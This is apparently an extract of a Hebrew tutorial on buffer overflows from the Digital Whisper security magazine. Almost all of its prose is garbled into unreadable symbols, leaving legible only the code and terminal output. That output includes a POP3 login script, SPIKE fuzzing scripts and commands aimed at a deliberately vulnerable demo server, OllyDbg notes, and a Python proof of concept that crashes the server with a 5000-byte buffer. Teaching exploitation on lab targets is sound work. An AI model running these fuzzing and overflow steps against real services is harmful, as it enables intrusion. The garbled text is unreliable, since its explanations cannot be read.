 ˣ˴˲˥˸˷ ˦˯˵˦ ˨˶ˣ˰)˸˷ˠˡˢ˟ ˨ˬˣ˸˷ ˦˯˵˦ ˨˶ˣ˰˪ ˞˧ˢ ˸ˣ˲˧ˡ˰ˢ  ˭ˣˠ˩ ˡˣ˵ ˭ˣˬ˧˯ˣ(vim. 

 ˪˩ˢ ˡ˴˧˩ ˸ˣ˞˶˪ ˪˩ˣˮ˷ ˧ˡ˩ ˭˞˩ ˡ˰ ˧˸ˠ˴ˢ˷ ˸ˣ˞ˬˠˣˡˢ ˪˩ ˸˞ ˟˪˷˪ ˢ˯ˮ˞ ˡ˧ˬ ˟ˣ˸˩ˮ˷ ˦˲˧˶˵˯˟

ˣ˧ˡ˥˧ ˟˪˸˷ˬ, ˡˣ˵ˢ ˸˞ ˶˞˟˪ ˢ˯ˮ˞ ˭˟ˣˬ˩ˣ ˸ˣ˷ˡ˥ ˸ˣ˧˴˵ˮˣ˲ ˢˬ˩ ˡˣ˰ ˱˧˯ˣˮ) ˦˲˧˶˵˯ˢ˷ ˟˪ ˣˬ˧˷

˯˵ˣˮ˧˪ ˸˟˧˟˯˪ ˫˞˸ˣˬ.( 

*˟ˠ˞ ,˰ ˸ˣˮˬˣ˯ˬ ˡˣ˵˟ ˸ˣ˶˰ˢ" ˧#  ˭˧˟ ˣ˞'' '''' 
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ˢˬˠˣˡ: 

 

 

 

 

 

 

#  this is a comment  

'''  

This is a comment too  

'''  

 

#!/usr/bin/python   # ˣˮ˪˷ ˸˩˶˰ˬ˟ Interpreter ˢ ˫ˣ˵˧ˬ ˭ˣ˧˴-  

import os # ˢˤ ˦˲˧˶˵˯˟ ˷ˬ˸˷ˮ ˫ˢ˟˷ ˫˧˪ˣˡˣˬˢ ˞ˣ˟˧ 

import sys  

import socket  

import time  

 

print "First script -  All in one \ r \ n" # ˦˲˧˶˵˯ˢ ˫˷ ˸˯˲ˡˢ 

 

host = raw_input("Ser ver address: ") # ˷ˬ˸˷ˬˢˬ ˸ˤˣ˶˥ˬ ˠˣ˯ˬ ˦˪˵˪ ˢ˷˵˟ ˸˶˧˴˧  

port = input("Server port: ")# ˷ˬ˸˷ˬˢˬ ˶˲˯ˬ ˠˣ˯ˬ ˦˪˵˪ ˢ˷˵˟ ˸˶˧˴˧ 

user = raw_input("Your POP3 User name: ")# ˷ˬ˸˷ˬˢˬ ˸ˤˣ˶˥ˬ ˠˣ˯ˬ ˦˪˵˪ ˢ˷˵˟ ˸˶˧˴˧ 

passwd = raw_input("Your POP3 Password: ")# ˵˪ ˢ˷˵˟ ˸˶˧˴˧˷ˬ˸˷ˬˢˬ ˸ˤˣ˶˥ˬ ˠˣ˯ˬ ˦ ˪

# ˦˪˵ˢ ˸ˣ˷˵˟˟ ˷ˬ˸˷ˬˢ ˭˧ˤˢ˷ ˫˧ˮ˸˷ˬˢ ˧ˮˣ˸ˮ ˫˰ ˸˟˪ˣ˷ˬˢ ˨˯ˬˢ ˪˰ ˢ˰ˡˣˢ ˸˯˲ˡˢ 

#˦˲˷ˬ˟  ˣ˟˪˷˪ ˪˩ˣˮ˷ ˧ˡ˩ ˸ˤˣ˶˥ˬ˪ ˣ˸ˣ˞ ˫˧˶ˬˬ ˣˮ˞ ˶˲˯ˬ ˢ˧ˢport ˢˮ˸˷ˬ˪ ˦˪˵ˢˣ ˭ˣˣ˧˩ˬ  

 

print "You chose to connect to " + host + " at port " + str(port) + " \ r \ n"  

time. sleep(10) #  ˨˷ˬ˟ ˭˧˸ˬ˧ ˦˲˧˶˵˯ˢ10 ˣ˸˪ˣ˰˲ ˸˞ ˨˧˷ˬ˧˷ ˧ˮ˲˪ ˸ˣ˧ˮ˷  

print "Pinging host " + host + " \ r \ n" # ˢ˷ˡ˥ ˢ˶ˣ˷ ˪˷ ˟ˣ˪˧˷ ˫˰ ˸ˤˣ˶˥ˬ ˸˯˲ˡˢ 

 

os.system("ping - c 4 " + host)# host ˢˮ˸˷ˬ˟ ˷ˬ˸˷ˬˢ ˭˧ˤˢ˷ ˸˟ˣ˸˩˪ ˠˮ˧˲ ˸ˡˣ˵˲ ˸˴˶ˢ    

 

s=socket.socket(socket.AF_INET, so cket.SOCK_STREAM)# socket ˢ ˸˶˧˴˧-  

s.connect((host,port)) # ˰ ˣˮˤˣˢ˷ ˦˶ˣ˲˪ˣ ˸˟ˣ˸˩˪ ˸ˣ˶˟˥˸ˢ"˷ˬ˸˷ˬˢ ˧  

data=s.recv(1024) # data  ˫˷˟ ˢˮ˸˷ˬ˪ socket ˢˬ ˫˧ˮˣ˸ˮ ˸˪˟˵-  

print data # ˢˮ˸˷ˬˢ ˭˩ˣ˸ ˸˯˲ˡˢ 

s.send('USER ' + user + ' \ r \ n') # user  ˢˮ˸˷ˬ˟ ˭˯ˣ˞˷ ˷ˬ˸˷ˬ ˫˷ ˸˥˧˪˷ 

data=s.recv(1024)# data  ˫˷˟ ˢˮ˸˷ˬ˪ socket ˢˬ ˫˧ˮˣ˸ˮ ˸˪˟˵ 

print data # ˢˮ˸˷ˬˢ ˭˩ˣ˸ ˸˯˲ˡˢ 

s.send('PASS ' + passwd + ' \ r \ n')#  passwd ˢˮ˸˷ˬ˟ ˢˮ˯˥ˣ˞˷ ˢˬ˯˧˯ ˸˥˧˪˷ 

data=s.recv(1024) # data  ˫˷˟ ˢˮ˸˷ˬ˪ socket ˢˬ ˫˧ˮˣ˸ˮ ˸˪˟˵ 

print data # ˢˮ˸˷ˬˢ ˭˩ˣ˸ ˸˯˲ˡˢ 

s.close() # soc ket ˢ ˸˶˧ˠ˯-  
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ˣ˧˸ˣ˞˷˶ˢ ˸˞ ˢˮ˷ˮ ˢ˴˶ˢ ˶˟˪ ˳˟ˣ˵ˢ ˸˞ ˨ˣ˲ˢ˪ ˧ˡ˩: 

  

 

ˣ˸ˣ˞ ˳˧˶ˮˣ: 

 

root@Blackbox:~# chmod a+x demo.py  

root@Blackbox:~# ./demo.py  

First script -  All in one  

 

Server address: mail.netvision.net.il  

Server port: 110  

Your POP3 User name: operator  

Your POP3 Password: **********  

You chose to connect to mail.netvisio n.net.il at port 110  

 

Pinging host mail.netvision.net.il  

 

PING mail.netvision.net.il (194.90.9.16) 56(84) bytes of data.  

64 bytes from mmpb.netvision.net.il (194.90.9.16): icmp_seq=1 ttl=122 

time=18.7 ms  

64 bytes from mmpb.netvision.net.il (194.90.9.16): i cmp_seq=2 ttl=122 

time=14.3 ms  

64 bytes from mmpb.netvision.net.il (194.90.9.16): icmp_seq=3 ttl=122 

time=16.3 ms  

64 bytes from mmpb.netvision.net.il (194.90.9.16): icmp_seq=4 ttl=122 

time=13.2 ms  

 

---  mail.netvision.net.il ping statistics ---  

4 packets tr ansmitted, 4 received, 0% packet loss, time 3000ms  

rtt min/avg/max/mdev = 13.252/15.673/18.706/2.077 ms  

+OK POP3 service  

 

+OK password required for user operator  

 

+OK Maildrop ready  
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ˢ˶˦ˬˢ: whisperer.exe 

 

ˣˬ˷˧˧˪ˣ ˰ˡ˧ˬˢ ˪˩ ˸˞ ˶˟˥˪ ˭ˬˤˢ ˰˧ˠˢ ˣ˧˷˩˰ ,  ˸ˮ˩ˣ˸ ˧˸ˮ˩ˢ ˢˤ ˶ˬ˞ˬ ˶ˣ˟˰Server  ˫˷˟,Whisperer 

˫˧˶ˬ˞ˬ˟ ˠ˴ˣˢ˷ ˡˣ˵ ˪˰ ˯˯ˣ˟ˬ ˢˮ˩ˣ˸ˢ ˶ˣ˟˰ ˶ˣ˵ˬˢ ˡˣ˵: 

 Socket programming, writing networked code : 

http://www.eecs.umich.edu/~sugih/pointers/sockets.txt 

Remote exploitation with C and Perl: 

http://www.exploit-db.com/papers/13166/ 

 ˫˷˟ ˣˮ˪˷ ˸˧ˮ˩˸ˢ ˸˞ ˢˮ˩˞ ˶ˬ˞ˬˢ ˨˪ˢˬ˟ˣ ˸ˣˮˣ˪˥ ˸˟˧˟˯˪ ˧˸ˬ˞˸ˢ ˡˣ˵ˢ ˸˞Whisperer. 

˪ ˯˥˧˧˸ˮ ˣˮ˞ ˨˞ ˢˡ˶ˣˢ˪ ˭˧ˬˤ ˢ˧ˢ˧ ˶ˣ˵ˬˢ ˡˣ˵ ˫ˮˬ˞-  Whisperer ˸˷˧ˠ˟Blackbox ʕ"˞ , ˣˮ˪ ˭˧˞˷ ˥˧ˮˮ

˶ˣ˵ˬˢ ˡˣ˵˪ ˢ˷˧ˠ. 

 

 ˢˬ ˭˧˟ˢ˪ ˣˮ˧˪˰ ˢ˪˧˥˸Whisperer ˰ˢ˸˪ˣ˰˲ ˭˲ˣ˞ ˸˞ˣ ˢ˷ˣ. 

˷ ˟˪ ˫˧ˬ˷ ˣˮ˞ ˳˟ˣ˵ˢ ˸˴˶ˢ ˶˥˞˪-Whisperer  ˶ˣ˟˧˥˪ ˢˮ˧˸ˬˬˣ ˢˮˤ˞ˢ ˟˴ˬ˟ ˸˞˴ˬˮ 

 

 

 

 

 

"˰ˢˡˣ˵˲ˢ ˸˴˶ˢ ˧  :netstat ïanb ˷ ˸ˣ˞˶˪ ˭˸˧ˮ-Whisperer  ˦˶ˣ˲˪ ˢˮ˧ˤ˞ˬ4321 

 

 

 

 

 

Microsoft Windows XP [Version 5.1.2600]  

(C) Copyright 1985 - 2001 Microsoft  Corp.  

 

C: \ Documents and Settings \ NightRanger>Whisperer.exe  

- ==Digital Whisper Demo Server== -  

Waiting for incoming connections...  

TCP    0.0.0.0:4321           0.0.0.0:0              LISTENING       

1596  

[Whisperer.exe]  

http://www.eecs.umich.edu/~sugih/pointers/sockets.txt
http://www.exploit-db.com/papers/13166/
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 ˫˰ ˣ˞ ˦ˮ˪˦˟ ˦˶ˣ˲˪ ˶˟˥˸ˮnetcat  ˪˷ ˢ˸˟ˣˠ˸ ˸˞ ˵ˣˡ˟ˮˣWhisperer: 

Client side: 

 

erver Side:S 

 

 ˫˰ ˸ˣ˶˟˥˸ˢˢ ˶˥˞˪netcat Whisperer ˶ˮ˞˟ ˣˮ˪ ˢˠ˧˴ˬ , ˦ˬ˶ˣ˲˟ ˦˪˵ ˢ˧˪˞ ˫˧˥˪ˣ˷ ˣˮ˞ASCII  ˣ˸ˣ˞˷

˨˯ˬˢ ˪˰ ˢ˯˧˲ˡˬ ˞˧ˢ. 



 

 

Buffer Overflows 101 
www.DigitalWhisper.co.il 

 ˭ˣ˧˪ˠ11 ,˦˯ˣˠˣ˞ 2010  77 

 

 ˪˷ ˢ˷˪ˣ˥ˢ ˸ˡˣ˵ˮ ˸˞ ˞ˣ˴ˬ˪ ˞ˣˢ ˞˟ˢ ˟˪˷ˢWhisperer ˢ˸ˣ˞ ˪˴ˮ˪ˣ , ˨˧˪ˢ˸˪ ˫˧˯˥˧˧˸ˬ ˣˮ˞ˣ ˭ˣˣ˧˩ˬ

˩ ˰˴˟˪ ˫˧ˡˬˣ˰ ˣˮ˞˷-Blackbox ˟ ˷ˬ˸˷ˮ-Fuzzer ˡ˩ ˨˧˞ ˵ˣˡ˟˪ ˧Whisperer  ˫˧˶˦ˬ˶˲ ˫˰ ˸ˡˡˣˬ˸ˬ

˦˪˵˩ ˫˧ˮˣ˷. 

 ˫˰ ˸ˣ˶˩˧ˢSPIKE 

 

-sFuzzer  ˞˶˵ˮ ˷ˬ˸˷ˮ ˣ˟˵˧˧˲˯ ,˰ ˟˸˩ˮ ˵˧˧˲˯"˸˶˟˥ˬ ˪˦˧˧˞ ˟˧˧ˡ ˧ :Immunity Sec. 

 ˞˷ˣˮ˟ ˣˮˡ ˶˟˩ ˫ˮˬ˞Fuzzing ˟ ˡ˵ˬ˸ˮ ˢˤ ˵˪˥˟ ˨˞-SPIKE ˣ˟ ˷ˣˬ˧˷˟ˣ: 

¶ ˪ˣ˵ˣ˦ˣ˶˲ ˸˵˧ˡ˟˪ ˫˧˪˩ˣ ˢˬ˶ˣ˲˦˪˲ ˣˮ˪ ˵˲˯ˬ ˵˧˧˲˯ ˧ ˫˧˴ˣ˲ˮˢ ˫˧˪ˣ˵ˣ˦ˣ˶˲ˢ ˟ˣ˶ ˶˷˞˩ ˸˷˶

˵˧˧˲˯˟ ˫˧˩ˬ˸ˮˣ ˫˧ˮ˟ˣˬ ˶˟˩. 

¶ ˸ˣˮ˟˪ ˭˸˧ˮ/˰ ˪ˣ˵ˣ˦ˣ˶˲ ˸˪ˣ˰˲ ˶ˤ˥˷˪" ˧˴˟˵˟ ˫˧˶˧ˡˠˬ ˣ˸ˣ˞˷ ˵˧˧˲˯˪ ˧ˡˣ˥˧˧ ˶˧˟˥˸ ˧spk. 

¶  ˶ˣ˟˰ ˣ˟ ˷ˣˬ˧˷ˢ ˸˞ ˠ˧˴˞ ˨˞ ˢˤ ˶ˬ˞ˬ˟ ˣ˦˶ˣ˲˧ ˞˪˷ ˸ˣ˟˶ ˸ˣ˪ˣ˩˧ ˷˧ ˵˧˧˲˯˪ ˣˮ˪˷ ˢ˶˦ˬˢ

Whisperer. 

˟ ˫˧˷ˬ˸˷ˬ ˫˩ˮˢˣ ˢˡ˧ˬ˟-BackTrack4 ˞ˣ˴ˬ˪ ˭˸˧ˮ  ˢ˧˵˧˸˟ ˵˧˧˲˯ ˸˞: 

/pentest/fuzzers/spike /  

 ˫˷˟ ˢ˧˵˧˸ ˞ˣ˴ˬ˪ ˭˸˧ˮ ˢˤ ˟˧˸ˮ ˨ˣ˸˟audits ,˭ˣˠ˩ ˫˧˪ˣ˵ˣ˦ˣ˶˲ˢ ˸ˣˬ˷ ˫˰ ˸ˣ˲˯ˣˮ ˸ˣ˧˵˧˸ ˢ˪˧˩ˬˢ :

POP3,FTP,PPTP  ˡˣ˰ˣ... 

ˢ ˧˴˟˵-spk ˢ˪˞ ˸ˣ˧˵˧˸˟ ˫˧ˮ˩ˣ˷. 

 

˨ˣ˸˟ ˢ ˧˴˟˵-spk ) ˫ˢ˪ ˞˶˵ˮspike scripts (ˢ ˸˪ˣ˰˲ ˸˞ ˰˴˟˪ ˷˵˟ˮ ˫˶ˣ˟˰˷ ˫˧˶˦ˬ˶˲ˢ ˫˧˞˴ˬˮ-

Fuzzing .ˢ ˨˧˪ˢ˸ ˸˞ ˫˧˶˟ˣ˰ ˢ˪˞ ˫˧˶˦ˬ˶˲-Fuzzing ˳˟ˣ˵˟ ˫˸˰˲ˣˢ ˶ˡ˯ ˧˲˪. 

 

˦˲˧˶˵˯˟ ˷ˣˬ˧˷˪ ˣˮ˪ ˸ˣˮ˧ˬˤˢ ˸ˣ˧˴˵ˮˣ˲ˢˬ ˵˪˥ ˭˪ˢ˪: 

s_string()  - ˢˮ˸˷˸ ˢˮ˧˞˷ ˢ˰ˣ˟˵ ˸ˤˣ˶˥ˬ ˧ˢˣˤ 

s_string_variable() ï ˢ ˪˷ ˫˧ˮˣ˷ ˫˧˶˦ˬ˶˲ ˫˰ ˱˪˥ˣ˧˷ ˢˮ˸˷ˬ ˣˢˤ-Fuzzer  

s_binary() ï ˵˧˧˲˯˟ ˧˶˞ˮ˧˟ ˰ˡ˧ˬ˟ ˷ˣˬ˧˷ ,ˢˮ˸˷˧ ˞˪ ˰ˡ˧ˬˢ. 

s_int_variable() ï  ˵˧˧˲˯˪ ˫˪˷ ˶˲˯ˬ ˸˲˯ˣˢ)Integer( 

˪˧˩ˬ ˞ˣˢ ˢˬ ˢ˞˶ˮˣ ˫˧˧˵ ˦˲˧˶˵˯ ˵˧˧˲˯ˬ ˰˦˵ ˪˰ ˦˟ˬ ˱˧˰ˮˣ ˣ˞ˣ˟. 

http://www.immunitysec.com/
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ˢ ˳˟ˣ˵ˬ ˵˪˥ ˭˪ˢ˪-spk ˣ˵ˣ˦ˣ˶˲ ˶ˣ˟˰ ˪FTP: 

 

 

 

 

 

 ˰˴˟˸˧ ˢˮˣ˷˞˶ˢ ˢ˶ˣ˷˟Fuzzing  ˸ˡˣ˵˲˪USER 

˧˧ˮ˷ˢ ˢ˶ˣ˷˟ s ˢ˰ˣ˟˵ ˸ˤˣ˶˥ˬ ˣˮ˪ ˷˧ˢˮ˸˷ˬ ˢˮ˧˞˷ 

 ˰˴˟˸˧ ˸˧˷˧˪˷ˢ ˢ˶ˣ˷˟Fuzzing ˢ ˸˶˷˪ ˫˧˥˪ˣ˷ ˣˮ˞˷ ˷ˬ˸˷ˬˢ ˫˷˪-FTP 

ˢˡˣ˵˲ˢ ˸˞ ˫˧˥˪ˣ˷ ˣˮ˞ ˸˧˰˧˟˶ˢ ˢ˶ˣ˷˟ carriage return  x-newline  ˷ˬ˸˷ˬˢ ˫˷ ˸˞ ˥ˣ˪˷˪ ˧ˡ˩˟

ˢ ˸˶˷˪-FTP. 

 ˢˡˣ˵˲ˢ ˸˞ ˫˧˥˪ˣ˷ ˣˮ˞ ˸˧˷˧ˬ˥ ˢ˶ˣ˷˟PASS ˢ ˸˶˷˪-FTP  

 ˰˴˟ˮ ˣˮ˞ ˸˧˷˧˷ˢ ˢ˶ˣ˷˟Fuzzing ˸˶˷˪ ˫˧˥˪ˣ˷ ˣˮ˞˷ ˢˬ˯˧˯˪ 

 ˟ˣ˷ ˫˧˥˪ˣ˷ ˸˧˰˧˟˷ˢ ˢ˶ˣ˷˟ˣcarriage return  x-newline ˸˶˷˪ ˢˬ˯˧˯ˢ ˸˞ ˥ˣ˪˷˪ ˧ˡ˩. 

 

ˢ ˸ˣ˰˴ˬ˞˟ ˸˶˷˪ ˫˧˶˦ˬ˶˲ˢ ˸˞ ˥ˣ˪˷˪ ˷˧ ˦˲˧˶˵˯ ˵˧˧˲˯˟ ˷ˬ˸˷ˢ˪ ˧ˡ˩- Fuzzer  

 ˧ˠˣ˯ ˶˲˯ˬ ˫˧ˬ˧˧˵Fuzzers ˵˧˧˲˯˟: 

¶ generic_listen_tcp 

¶ generic_send_tcp 

¶ generic_send_udp 

¶ line_send_tcp 

ˢ ˸˞ ˶ˣ˥˟˪ ˷˧-Fuzzer ˫˧˵ˡˣ˟ ˣˮ˞ ˢ˸ˣ˞˷ ˢ˶˦ˬ˪ ˫˞˸ˢ˟ , ˸˶˷ ˣˢˤ ˣˮ˪˷ ˢ˶˵ˬ˟TCP  ˷ˬ˸˷ˮ ˭˩˪ˣ

-˟generic_send_tcp. 

˦˲˧˶˵˯ ˵˧˧˲˯ ˸˶˧˴˧ 

 

s_string_variable("USER");  

s_strin g(" ");  

s_string_variable("anonymous");  

s_string(" \ r \ n");  

s_string("PASS ");  

s_string_variable("1234");  

s_string(" \ r \ n");  
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 ˣˮ˪˷ ˢ˶˵ˬ˟Whisperer ˦˪˵ ˸˪˟˵ˬ ASCII  ˢ˧ˢ˧ ˣˮ˪˷ ˵˧˧˲˯ˢ ˳˟ˣ˵ ˭˩˪ˣ ˸ˣˬ˧ˣ˯ˬ ˸ˣˡˣ˵˲ ˞˪˪ ˦ˣ˷˲

ˡˣ˞ˬ ˦ˣ˷˲. 

˫˷˟ ˳˟ˣ˵ ˭˧˩ˮ ˣˮ˞  whisperer.spk ˢ˞˟ˢ ˢ˶ˣ˷ˢ ˸˞ ˣ˟ ˭˧ˤˮˣ ˭˧ˬˤ ˦˯˵˦ ˨˶ˣ˰ ˪˩ ˸ˣ˰˴ˬ˞˟: 

 

 

 

˸˧˧˵˧˸˟ ˫˵ˬˮ ˳˟ˣ˵ˢ ˸˞: 

/pentest/fuzzers/spike/audits 

 

 

Fuzzing   ˸ˣ˰˴ˬ˞˟SPIKE 

 

 ˦˲˧˶˵˯ˢ ˸˞ ˥ˣ˪˷˪ ˧ˡ˩˪ ˣˮ˶˴˧˷-Whisperer ˟ ˷ˬ˸˷ˮ ˣˮ˞-Fuzzer - generic_send_tcp 

ˢ ˸˞ ˳˧˶ˮ ˪˩ ˫ˡˣ˵-Fuzzer ˣ˸˴˶ˢ˪ ˣˮ˪ ˷ˣ˶ˡˢ ˶˧˟˥˸ˢ ˸˞ ˸ˣ˞˶˪ ˧ˡ˩ ˶˦ˬ˶˲ ˪˩ ˞˪˪ 

 

 

 

 

˫˷ ˣˮ˪ ˢ˧ˢ ˢˬ ˤ˞: 

¶ ˢ ˫˷-fuzzer :generic_send_tcp 

¶ ˧˧˞ˢ ˸˟ˣ˸˩.˧˲ 

¶ ˦˶ˣ˲ 

¶ ˦˲˧˶˵˯ ˵˧˧˲˯ˢ ˫˷ 

¶  ˫ˣ˵˧ˬ)˶˲˯ˬ (˳˟ˣ˵˟ ˢˮ˸˷ˬˢ 

 

 

 

s_string_variable("A"); 

 

root@Blackbox:/pentest/fuzzer s/spike# ./generic_send_tcp  

argc=1  

Usage: ./generic_send_tcp host port spike_s cript SKIPVAR SKIPSTR  

./generic_send_tcp 192.168.1.100 701 something .spk 0 0  
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ˣ ˣ˞ˣ˟  ˸˞ ˪˧˰˲ˮWhisperer ˵˧˧˲˯ ˸˞ ˢ˟ ˥˪˷ˮ ˶˷˞˩ ˢ˶˵˧ ˢˬ ˢ˞˶ˮˣ 

 

 

 

 

 

˧˲ˣ˧ ,Whisperer ˢ˯˶˵ !ˣˮ˪ ˶ˬˣ˞ ˞ˣˢ ˢˬ ˭˧˟ˢ˪ ˢ˯ˮˮˣ ˵˧˧˲˯ ˪˷ ˦˪˲ˢ ˪˰ ˪˩˸˯ˮ ˣ˞ˣ˟: 

¶ Fuzzing Variable 0:0 ï ˬ ˢ˪˧˥˸ˬ ˫˧ˮ˸˷ˬˢ ˸˶˧˲˯-0 

¶ Fuzzing Variable 0:1 ï  ˭ˣ˷˞˶ˢ ˢˮ˸˷ˬˢ ˟ˣ˷)ˡ˧˥˧ˢˣ ( ˣˮ˪˷0  ˟˟˯1 

¶ Variablesize= 5004 ï  ˟˟˯˟ ˥˪˷ˮ˷ ˢˮ˸˷ˬˢ ˪ˡˣˠ1. 

 

 ˶˟˩ ˢ˰˴˟˸ˢ ˢ˯˧˶˵ˢ ˨˞ ˶˟˰ˬ ˸˴˵ ˷˪ˠ ˵˧˧˲˯ ˫ˮˬ˞˭ˣ˷˞˶ˢ ˟˟˯˟. 

 *ˢ˶˰ˢ :˨˧˪ˢ˸ ˸˞ s-Fuzzing  ˨ˣ˸˟ ˢ˴˶ ˸˧ˮ˩ˣ˸ˢ ˶˷˞˩ ˰˴˟˪ ˳˪ˬˣˬDebugger  ˪˟˵ˮ ˡ˧ˬ˸ ˞˪

ˮˢ ˢ˶˵ˬ˟ ˣˬ˩ ˢ˞˧ˠ˷"˨ˣ˸˟ ˨˞ ˪ s-Debugger ˧˶˵ ˸˞ ˸ˣ˞˶˪ ˪˩ˣˮ˯˸˧ˮ˩ˣ˸ˢ ˸. 

root@Blackbox:/pentest/fuzzers/spike# ./generic_send_tcp 192.168.1.103 4321 audits/whisperer.spk 0 0  
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ˣ˞ ˧˪ˣ˞ ˢ˪ï  ˫˰ ˸ˣ˶˩˧ˢOllydbg 

 

ˢ ˥ˣ˸˧˲ ˨˧˪ˢ˸˟ ˫˩˪˷ ˟ˣ˦ ˧˩ˢ ˶˟˥ˢ ˢ˧ˢ˧ ˧˪ˣ˞-Exploit ,˸ˣ˞˧ˠ˷ ˸˵˧ˡ˟ˣ ˧ˣ˲˧ˮ˪ ˷ˬ˷ˬˢ ˧˪˩ ˣˢˤ. 

˫˧ˮˣ˷ˢ ˣ˧˵˪˥ ˸˞ˣ ˧˪ˣ˞ ˪˷ ˧˷˞˶ˢ ˨˯ˬˢ ˸˞ ˫˧˞ˣ˶ ˣˮ˞ ˱˶ˣ˴ˬˢ ˨˯ˬˢ ˫ˣ˪˧˴˟: 

 

˫˧˪˩ˢ ˪ˠ˶˯: 

 

 - ˸˧ˮ˩ˣ˸ˢ ˸˪˰˲ˢ 

 - ˸˧ˮ˩ˣ˸ˢ ˸˞˲˵ˢ 

 - Step into 

 - Step over 

 - Go to address 

L - ˫˧ˠˣ˪ 

E ï ˫˧˪ˣˡˣˬˢ ˭ˣ˪˥ ,˸˧ˮ˩ˣ˸˪ ˸ˣ˶ˣ˷˵ˢ ˸ˣ˧˶˲˯ ˢ˞˶ˮ ˫˷ 

M ï ˭ˣ˶˩˧ˤ ˸˲ˬ 

B ï  ˢ˶˧˴˰ ˸ˣˡˣ˵ˮï Breakpoints 



 

 

Buffer Overflows 101 
www.DigitalWhisper.co.il 

 ˭ˣ˧˪ˠ11 ,˦˯ˣˠˣ˞ 2010  82 

 

˨˶ˡ ˧˶ˣ˴˧˵: 

Breakpoint ï ˢ˶˧˴˰ ˸ˡˣ˵ˮ ˶ˣ˴˧˪ ˭˸˧ˮ/˰ ˢ˵˯˲ˢ" ˷˵ˬˢ ˪˰ ˢ˴˧˥˪ˣ ˡˣ˵ˢ ˭ˣ˪˥˟ ˸˟ˣ˸˩ ˸˶˧˥˟ ˧F2 

ˣˤ ˸˟ˣ˸˩˟ ˢ˸˪ˣ˰˲ ˸˞ ˶ˣ˴˰˸ ˸˧ˮ˩ˣ˸ˢ. 

Step into ï  ˢ˶ˣ˷ ˸ˣˬˡ˵˸ˢ˟ˢ˧˴˵ˮˣ˲ ˨ˣ˸˪ ˢ˯˧ˮ˩ˣ ˡˣ˵ F7 

Step over ï ˢ˧˴˵ˮˣ˲ ˨ˣ˸˪ ˯ˮ˩ˮ ˞˪ˣ ˡˣ˵˟ ˢ˞˟ˢ ˢ˶ˣ˷˪ ˫ˡ˵˸ˬ F8 

 ˸˧ˮ˩ˣ˸ˢ ˸˪˰˲ˢï F9 

 ˸˧ˮ˩ˣ˸ˢ ˪˷ ˷ˡ˥ˬ ˢ˪˰˲ˢï CTRL + F2 

 

˧˧˦ˮˣˣ˪˶ˢ ˫˧˵˪˥ˢ ˸˞ ˵˶ ˧˸˷ˠˡˢ ˫ˢˤ ˶ˬ˞ˬ˪ ,˨ˣ˸ ˶˧˩ˮ ˡˣ˰ ˭˵˪˥ ˸˞˷ ˸ˣ˟˶ ˸ˣ˧ˣ˶˷˲˞ ˷˧ ˧˪ˣ˞˪ ˨˞ 

ˢ ˥ˣ˸˧˲ ˧ˡ˩-Exploit. 

˪˧˥˸ˮ˷ ˧ˮ˲˪ , ˣˮ˪˷ ˳˟ˣ˵ˢ ˸˞ ˧˪ˣ˞ ˨ˣ˸˪ ˱˶˴˪ ˣˮ˧˪˰Whisperer.exe ,˸˞ˤ ˰˴˟˪ ˫˧˩˶ˡ ˧˸˷ ˭ˮ˷˧: 

1 .˧˪ˣ˞˪ ˳ˣ˥ˬ ˳˟ˣ˵ˢ ˸˞ ˳˧˶ˢ˪ , ˦˧˶˲˸˪ ˸˷ˠ˪ ˤ˞ˣFile ς Attach  ˟ ˶ˣ˥˟˪ˣ-Whisperer. 

 ˪˰ ˳ˣ˥˪˪ ˷˧Attach ˨˧˪ˢ˸ˢ ˸˞ ˱˶˴˪ ˧ˡ˩(Process)   ˧˪ˣ˞ ˨ˣ˸˪. 

 

 Whisperer  ˟˴ˬ˟ ˢ˧ˢ˸"ˢ˞˲˵ˢ " ˷˵ˬˢ ˪˰ ˳ˣ˥˪˪ ˷˧ ˢ˸ˣ˞ ˳˧˶ˢ˪ ˧ˡ˩ˣF9. 

 ˭ˬ˧˯ˢ ˪˰ ˫˧˪˩ˢ ˪ˠ˶˯˟ ˣ˞. 



 

 

Buffer Overflows 101 
www.DigitalWhisper.co.il 

 ˭ˣ˧˪ˠ11 ,˦˯ˣˠˣ˞ 2010  83 

 

2 .˧˧ˮ˷ˢ ˸ˣ˶˷˲˞ˢ s˰ ˞˧ˢ" ˦˧˶˲˸˪ ˸˷ˠ˪ ˷˧ ˭˩ˬ ˶˥˞˪ˣ ˢ˪˧˥˸ ˧˪ˣ˞ ˸˪˰˲ˢ ˧File ˟ ˶˥˟ˮ ˫˰˲ˢ ˨˞-

Open  ˳˟ˣ˵˟ ˶˥˟ˮˣWhisperer.exe. 

 

 ˸ˣ˰˴ˬ˞˟ ˢ˯˧˶˵ˢ ˶ˣˤ˥˷Python 

 

˲˶˧˴˷ ˶˥˞˪ ˣ˧˷˩˰ ˸˞ ˣˮWhisperer ˢ ˸˞ ˥˸˲˪ ˪˧˥˸ˮ ˣˮ˞ ˧˪ˣ˞˪-Exploit ˭ˣ˸˧˧˲ ˸˶ˤ˰˟. 

 ˸˯˧˶˵ ˸˞ ˶ˤ˥˷˪ ˢ˯ˮˮ ˪˩ ˫ˡˣ˵Whisperer, ˫˷˟ ˳˟ˣ˵ ˶ˣ˴˧ˮ ˨˩ ˫˷˪ˣpoc.py  ˡˣ˵ˢ ˸˞ ˣ˧˪˞ ˵˧˸˰ˮˣ

˞˟ˢ:  

 

 

 

 

 

 

 

 

 

 

 

 ˭ˣ˸˧˧˲ˢ ˡˣ˵ ˸˴˶ˢ ˶˥˞˪ Whisperer˧˪ˣ˞ ˨ˣ˸˟ ˯ˣ˶˵˸. 

 

 

#!/usr/bin/python  

import socket  

 

host = "192.168.1.103"  # ˸˶˷ˢ  ˸˟ˣ˸˩ 

port =  4321  

 

buffer=" \ x41" * 5000  #  ˫˧ˬ˰5˲000 A ˸ˣ˞ˢ ˸˞ ˪˧˩ˬ˷ ˢˮ˸˷ˬ ˫˧˶˴ˣ˧ 

 

s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)  

 

s.connect((host,port))  

data=s.recv(1024)  

print "[+] " + data  

print " \ n[+] Sending buffer..."  

s.send(buffer)  #   ˣˮ˶˴˧˷buffer   ˫˧˥˪ˣ˷ ˢ ˸˞ ˸˶˷˪  

data=s.recv(1024)  

print "[+]" + data  

s.close()  

print "Done!"  
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ˣˮ˸ˣ˞ ˫˧ˮ˧˧ˮ˰ˬ˷ ˫˧˵˪˥˟ ˡ˵ˬ˸ˮ ˣ˞ˣ˟ , 

